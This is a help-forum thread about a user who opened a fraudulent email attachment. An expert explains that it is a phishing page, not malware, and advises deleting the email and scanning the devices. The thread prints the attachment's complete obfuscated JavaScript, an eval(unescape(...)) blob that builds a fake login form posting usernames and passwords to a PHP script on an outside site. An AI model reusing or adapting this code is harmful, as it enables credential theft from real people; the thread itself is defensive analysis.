Link to home
Start Free TrialLog in
Avatar of computerlarry
computerlarryFlag for United States of America

asked on

What should this Mac user do now that they have clicked on a fake link in the Mail program?

User wasn't paying attention, and clicked on the attachment in a fraudulent email.
User generated image
They didn't notice much happening afterwards.  I looked at the html file attached, and I've attached a screen shot of a portion of the code:
User generated image

Their protection includes:
Mac OS X  after 10.10  (waiting for reply)
Cisco  OpenDNS
Trend Micro for Mac or Avast for Mac

Thanks.
SOLUTION
Avatar of Gerwin Jansen
Gerwin Jansen
Flag of Netherlands image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of computerlarry

ASKER

User told me that when they clicked on attachment, they received a message that they needed javascript to open the attachment.

Is that a good sign?
More info - they opened the email message on their iPhone, not their computer.
Get rid of (delete) the emails from all devices, scan for viruses and see if the devices are OK.
SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
ASKER CERTIFIED SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
<script type="text/javascript">
<!-- 
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%21%44%4f%43%54%59%50%45%20%48%54%4d%4c%20%50%55%42%4c%49%43%20%22%2d%2f%2f%57%33%43%2f%2f%44%54%44%20%48%54%4d%4c%20%34%2e%30%31%20%54%72%61%6e%73%69%74%69%6f%6e%61%6c%2f%2f%45%4e%22%3e%5c%6e%3c%21%2d%2d%20%73%61%76%65%64%20%66%72%6f%6d%20%75%72%6c%3d%28%30%30%31%34%29%61%62%6f%75%74%3a%69%6e%74%65%72%6e%65%74%20%2d%75%73%65%64%20%66%6f%72%20%56%4d%20%70%72%65%76%69%65%77%20%6d%6f%64%65%20%6f%6e%6c%79%20%2d%2d%3e%5c%6e%3c%68%74%6d%6c%3e%20%5c%6e%5c%6e%3c%68%65%61%64%3e%20%5c%6e%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%20%63%6f%6e%74%65%6e%74%3d%22%74%65%78%74%2f%68%74%6d%6c%3b%20%63%68%61%72%73%65%74%3d%69%73%6f%2d%38%38%35%39%2d%31%22%3e%5c%6e%3c%74%69%74%6c%65%3e%69%6e%64%65%78%3c%2f%74%69%74%6c%65%3e%5c%6e%3c%6d%65%74%61%20%6e%61%6d%65%3d%22%67%65%6e%65%72%61%74%6f%72%22%20%63%6f%6e%74%65%6e%74%3d%22%56%69%72%74%75%61%6c%20%4d%65%63%68%61%6e%69%63%73%20%53%69%74%65%53%70%69%6e%6e%65%72%20%32%2e%39%32%71%20%2d%20%54%72%69%61%6c%20%4f%6e%6c%79%22%3e%5c%6e%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%69%6d%61%67%65%74%6f%6f%6c%62%61%72%22%20%63%6f%6e%74%65%6e%74%3d%22%66%61%6c%73%65%22%3e%5c%6e%5c%6e%3c%73%74%79%6c%65%20%74%79%70%65%3d%22%74%65%78%74%2f%63%73%73%22%3e%5c%6e%3c%21%2d%2d%5c%6e%62%6f%64%79%20%7b%5c%6e%20%20%6d%61%72%67%69%6e%3a%20%30%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%20%23%66%66%66%66%66%66%3b%5c%6e%7d%5c%6e%69%6d%67%20%7b%5c%6e%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%20%30%3b%5c%6e%20%20%76%65%72%74%69%63%61%6c%2d%61%6c%69%67%6e%3a%20%74%6f%70%3b%5c%6e%7d%5c%6e%66%6f%72%6d%23%4f%66%6f%72%6d%35%20%7b%5c%6e%20%20%76%69%73%69%62%69%6c%69%74%79%3a%20%76%69%73%69%62%6c%65%3b%5c%6e%20%20%6d%61%72%67%69%6e%3a%20%30%70%78%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%7d%5c%6e%2e%64%66%6c%74%66%20%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%63%6f%6c%6f%72%3a%20%23%30%30%30%30%30%30%3b%5c%6e%20%20%66%6f%6e%74%2d%66%61%6d%69%6c%79%3a%20%5c%27%54%69%6d%65%73%20%4e%65%77%20%52%6f%6d%61%6e%5c%27%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%32%70%78%3b%5c%6e%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%20%6e%6f%72%6d%61%6c%3b%5c%6e%20%20%66%6f%6e%74%2d%73%74%79%6c%65%3a%20%6e%6f%72%6d%61%6c%3b%5c%6e%20%20%74%65%78%74%2d%64%65%63%6f%72%61%74%69%6f%6e%3a%20%6e%6f%6e%65%3b%5c%6e%7d%5c%6e%23%4f%6f%62%6a%31%33%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%20%20%7a%2d%69%6e%64%65%78%3a%20%31%3b%5c%6e%20%20%6c%65%66%74%3a%20%2d%30%2e%34%30%65%6d%3b%5c%6e%20%20%74%6f%70%3a%20%30%2e%34%30%65%6d%3b%5c%6e%20%20%77%69%64%74%68%3a%20%31%32%38%2e%30%30%65%6d%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%36%31%2e%33%30%65%6d%3b%5c%6e%7d%5c%6e%69%6d%67%23%47%67%65%6f%31%33%20%7b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%7d%5c%6e%23%4f%6f%62%6a%38%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%20%20%7a%2d%69%6e%64%65%78%3a%20%32%3b%5c%6e%20%20%6c%65%66%74%3a%20%34%30%2e%33%30%65%6d%3b%5c%6e%20%20%74%6f%70%3a%20%31%39%2e%34%30%65%6d%3b%5c%6e%20%20%77%69%64%74%68%3a%20%31%32%2e%37%30%65%6d%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%32%2e%30%30%65%6d%3b%5c%6e%7d%5c%6e%23%47%66%6f%72%6d%34%20%7b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%20%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%63%6f%6c%6f%72%3a%20%23%62%34%62%34%62%34%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%73%74%79%6c%65%3a%20%6e%6f%6e%65%3b%5c%6e%7d%5c%6e%23%4f%6f%62%6a%39%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%20%20%7a%2d%69%6e%64%65%78%3a%20%33%3b%5c%6e%20%20%6c%65%66%74%3a%20%37%36%2e%38%30%65%6d%3b%5c%6e%20%20%74%6f%70%3a%20%31%39%2e%33%30%65%6d%3b%5c%6e%20%20%77%69%64%74%68%3a%20%31%32%2e%36%30%65%6d%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%32%2e%30%30%65%6d%3b%5c%6e%7d%5c%6e%23%47%66%6f%72%6d%36%20%7b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%20%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%63%6f%6c%6f%72%3a%20%23%30%30%30%30%30%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%73%74%79%6c%65%3a%20%6e%6f%6e%65%3b%5c%6e%7d%5c%6e%23%4f%6f%62%6a%31%30%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%20%20%7a%2d%69%6e%64%65%78%3a%20%34%3b%5c%6e%20%20%6c%65%66%74%3a%20%34%35%2e%33%30%65%6d%3b%5c%6e%20%20%74%6f%70%3a%20%34%36%2e%36%30%65%6d%3b%5c%6e%20%20%77%69%64%74%68%3a%20%34%2e%33%30%65%6d%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%2e%38%30%65%6d%3b%5c%6e%7d%5c%6e%23%47%66%6f%72%6d%37%20%7b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%20%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%63%6f%6c%6f%72%3a%20%23%30%30%30%30%30%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%73%74%79%6c%65%3a%20%6e%6f%6e%65%3b%5c%6e%7d%5c%6e%23%4f%6f%62%6a%31%31%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%20%20%7a%2d%69%6e%64%65%78%3a%20%35%3b%5c%6e%20%20%6c%65%66%74%3a%20%37%31%2e%38%30%65%6d%3b%5c%6e%20%20%74%6f%70%3a%20%34%36%2e%35%30%65%6d%3b%5c%6e%20%20%77%69%64%74%68%3a%20%34%2e%30%30%65%6d%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%2e%38%30%65%6d%3b%5c%6e%7d%5c%6e%23%47%66%6f%72%6d%38%20%7b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%20%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%63%6f%6c%6f%72%3a%20%23%30%30%30%30%30%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%73%74%79%6c%65%3a%20%6e%6f%6e%65%3b%5c%6e%7d%5c%6e%23%4f%6f%62%6a%31%34%20%7b%5c%6e%20%20%70%6f%73%69%74%69%6f%6e%3a%20%61%62%73%6f%6c%75%74%65%3b%5c%6e%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%30%70%78%3b%5c%6e%20%20%7a%2d%69%6e%64%65%78%3a%20%36%3b%5c%6e%20%20%6c%65%66%74%3a%20%35%37%2e%37%30%65%6d%3b%5c%6e%20%20%74%6f%70%3a%20%35%30%2e%32%30%65%6d%3b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%2e%30%30%65%6d%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%33%2e%30%30%65%6d%3b%5c%6e%7d%5c%6e%23%47%66%6f%72%6d%39%20%7b%5c%6e%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%5c%6e%20%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%20%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%63%6f%6c%6f%72%3a%20%23%30%30%30%30%30%30%3b%5c%6e%20%20%62%6f%72%64%65%72%2d%73%74%79%6c%65%3a%20%6e%6f%6e%65%3b%5c%6e%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%23%66%66%66%66%66%66%3b%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%69%6d%61%67%65%3a%20%75%72%6c%28%5c%27%68%74%74%70%3a%2f%2f%61%70%61%61%6a%61%62%6f%6c%65%68%6b%61%6e%2e%69%64%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%32%30%31%35%2d%30%31%2d%32%38%5f%32%30%30%34%31%35%2e%70%6e%67%5c%27%29%3b%5c%6e%7d%5c%6e%5c%6e%2d%2d%3e%5c%6e%3c%2f%73%74%79%6c%65%3e%5c%6e%3c%2f%68%65%61%64%3e%20%5c%6e%5c%6e%3c%62%6f%64%79%3e%5c%6e%5c%6e%3c%64%69%76%20%69%64%3d%22%4f%6f%62%6a%31%33%22%3e%5c%6e%3c%69%6d%67%20%69%64%3d%22%47%67%65%6f%31%33%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%61%70%61%61%6a%61%62%6f%6c%65%68%6b%61%6e%2e%69%64%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%67%72%65%61%74%2e%70%68%70%22%20%61%6c%74%3d%22%22%3e%5c%6e%3c%2f%64%69%76%3e%5c%6e%5c%6e%3c%66%6f%72%6d%20%69%64%3d%22%4f%66%6f%72%6d%35%22%20%6e%61%6d%65%3d%22%66%6f%72%6d%35%22%20%61%63%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%67%65%6f%72%67%73%76%75%67%67%65%2e%64%6b%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%74%68%65%6d%65%73%2f%63%72%65%61%74%69%76%65%2e%70%68%70%22%20%6d%65%74%68%6f%64%3d%22%50%4f%53%54%22%20%65%6e%63%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%22%3e%5c%6e%3c%64%69%76%20%69%64%3d%22%4f%6f%62%6a%38%22%3e%3c%69%6e%70%75%74%20%6e%61%6d%65%3d%22%66%6f%72%6d%34%22%20%74%79%70%65%3d%22%74%65%78%74%22%20%72%65%71%75%69%72%65%64%20%63%6c%61%73%73%3d%22%64%66%6c%74%66%22%20%69%64%3d%22%47%66%6f%72%6d%34%22%20%76%61%6c%75%65%3d%22%22%3e%5c%6e%3c%2f%64%69%76%3e%3c%64%69%76%20%69%64%3d%22%4f%6f%62%6a%39%22%3e%3c%69%6e%70%75%74%20%6e%61%6d%65%3d%22%66%6f%72%6d%36%22%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%20%72%65%71%75%69%72%65%64%20%63%6c%61%73%73%3d%22%64%66%6c%74%66%22%20%69%64%3d%22%47%66%6f%72%6d%36%22%20%76%61%6c%75%65%3d%22%22%3e%5c%6e%3c%2f%64%69%76%3e%3c%64%69%76%20%69%64%3d%22%4f%6f%62%6a%31%30%22%3e%3c%69%6e%70%75%74%20%6e%61%6d%65%3d%22%66%6f%72%6d%37%22%20%74%79%70%65%3d%22%74%65%78%74%22%20%72%65%71%75%69%72%65%64%20%63%6c%61%73%73%3d%22%64%66%6c%74%66%22%20%69%64%3d%22%47%66%6f%72%6d%37%22%20%76%61%6c%75%65%3d%22%22%3e%5c%6e%3c%2f%64%69%76%3e%3c%64%69%76%20%69%64%3d%22%4f%6f%62%6a%31%31%22%3e%3c%69%6e%70%75%74%20%6e%61%6d%65%3d%22%66%6f%72%6d%38%22%20%74%79%70%65%3d%22%74%65%78%74%22%20%72%65%71%75%69%72%65%64%20%63%6c%61%73%73%3d%22%64%66%6c%74%66%22%20%69%64%3d%22%47%66%6f%72%6d%38%22%20%76%61%6c%75%65%3d%22%22%3e%5c%6e%3c%2f%64%69%76%3e%3c%64%69%76%20%69%64%3d%22%4f%6f%62%6a%31%34%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%73%75%62%6d%69%74%22%20%69%64%3d%22%47%66%6f%72%6d%39%22%20%63%6c%61%73%73%3d%22%64%66%6c%74%66%22%20%6e%61%6d%65%3d%22%66%6f%72%6d%39%22%20%76%61%6c%75%65%3d%22%22%3e%5c%6e%3c%2f%64%69%76%3e%3c%2f%66%6f%72%6d%3e%5c%6e%5c%6e%5c%6e%3c%2f%62%6f%64%79%3e%20%5c%6e%5c%6e%3c%68%65%61%64%3e%09%3c%21%2d%2d%75%73%65%64%20%66%6f%72%20%56%4d%20%70%72%65%76%69%65%77%20%6d%6f%64%65%20%6f%6e%6c%79%20%2d%2d%3e%5c%6e%09%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%45%78%70%69%72%65%73%22%20%63%6f%6e%74%65%6e%74%3d%22%2d%31%22%3e%5c%6e%3c%2f%68%65%61%64%3e%09%3c%21%2d%2d%75%73%65%64%20%66%6f%72%20%56%4d%20%70%72%65%76%69%65%77%20%6d%6f%64%65%20%6f%6e%6c%79%20%2d%2d%3e%5c%6e%3c%2f%68%74%6d%6c%3e%27%29%3b'));
// -->
</script>
<noscript><i>Javascript required</i></noscript>

Open in new window

SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
@computerlarry - tell the user not to panic.  The fact that they told you "they clicked on attachment, they received a message that they needed javascript to open the attachment." would indicate that the script didn't execute.  Javascript is very limited on the Safari version on iPhone so even if it did execute it would have only loaded a webpage with a form designed to get them the enter their details  .. and it only if they entered their details would they be at any risk.

This IS NOT a virus or malware .. it is PHISHING where the sender is trying to fool the user into entering their banking or personal details with a view to using them.  Fooling people into disclosing their personal details or passwords is just as common as viruses or malware but targets the user not the operating system which is often the biggest weakness in any interface.

By all means install and run an application like Malwarebytes on OSX and I'd always recommend a scan too by an AntiVirus like Avast for OSX to just do a health check on the mac.

BUT as this is an IPHONE it is pretty much immune to Virus and Malware and there are not antivirus or antimalware apps for iOS anyway so you cannot scan the iPhone for spyware anyway. The User is safe to delete the email and remember to be a little less eager to click links in suspicious emails ;-)
Excellent advice.  Great to have the Javascript decoded
You are very welcome and I was happy to assist.
I have a feeling that Eoin also deserves credit